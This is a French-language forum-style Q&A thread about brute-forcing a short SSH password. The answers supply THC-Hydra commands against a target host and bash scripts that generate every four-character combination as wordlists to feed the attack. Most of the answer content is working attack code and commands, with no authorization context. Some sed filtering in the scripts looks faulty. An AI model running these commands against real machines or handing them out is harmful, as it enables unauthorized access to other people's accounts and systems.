Supposons que vous savez qu'un certain ordinateur n'est protégé que par un mot de passe aussi court, vous pouvez simplement essayer toutes les combinaisons possibles facilement.
À quoi ressemblerait un script qui tente de déchiffrer ce mot de passe?
Quelque chose comme
#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
echo ssh username@localhost pipe password $i here;
done
(je sais, ce n'est pas un bon exemple mais mes compétences bash ne sont pas encore aussi bonnes)
hydra
peut générer les mots de passe pour vous. Pas besoin de les générer séparément si vous utilisez la force brute:
hydra -l user_name -V -x 4:4:aA1 ip_address ssh
-V signifie verbeux, -x 4:4:aA1
signifie que min est de 4 lettres, max est de 4 lettres. La liste des lettres est a-z désignée par a, A-Z désignée par A, 0-9 désignée par 1. Vous pouvez ajouter d'autres caractères comme %_-+/
Vous devez encapsuler les apostrophes autour de l'option -x si vous ajoutez des caractères spéciaux comme l'espace, ^, &, * ou ":
hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh
Bien que vous puissiez utiliser un langage de script générique comme bash pour cela, vous pourriez obtenir de meilleurs résultats avec un outil de sécurité axé sur le test d'attaques par force brute comme THC-Hydra dans une perspective de vitesse de toute façon.
c'est donc la conclusion:
nano /tmp/create_wordlist_case_sensitive.sh
#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
echo '-'
for a in "${run1[@]}"
do
echo "$a"
for b in "${run2[@]}"
do
echo "$a$b"
for c in "${run3[@]}"
do
echo "$a$b$c"
for d in "${run4[@]}"
do
echo "$a$b$c$d"
done
done
done
done
bash /tmp/create_wordlist_case_sensitive.sh >/tmp/Word_list_long.txt
hydra -l john -P /tmp/Word_list_long.txt attack_Host ssh
voici deux scripts bash pour générer une liste de toutes les combinaisons possibles de quatre lettres. la première ne donne que des combinaisons minuscules (create_wordlist_case_insensitive.sh
), tandis que la seconde donne toutes les combinaisons de lettres majuscules et minuscules (create_wordlist_case_sensitive.sh
).
$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash
for a in {a..z}
do
for b in {a..z}
do
for c in {a..z}
do
for d in {a..z}
do
echo "$a$b$c$d"
done
done
done
done
$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash
run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
for a in "${run1[@]}"
do
for b in "${run2[@]}"
do
for c in "${run3[@]}"
do
for d in "${run4[@]}"
do
echo "$a$b$c$d"
done
done
done
done
utilisez-les pour créer vos fichiers de liste de mots comme ceci:
$ create_wordlist_case_insensitive.sh >Word_list_short.txt
$ create_wordlist_case_sensitive.sh >Word_list_long.txt
alors votre script peut parcourir le fichier dont vous avez besoin comme ceci:
$ cat forceit.sh
#!/usr/bin/bash
while read line
do
echo "Trying: $line"
echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
done < Word_list_short.txt
vous devrez automatiser ce segment du code avec expect
, mais je n'entrerai pas dans la façon de le faire ici. alternativement, je suppose que vous pourriez utiliser une commande différente qui accepte un mot de passe comme argument, comme telnet
.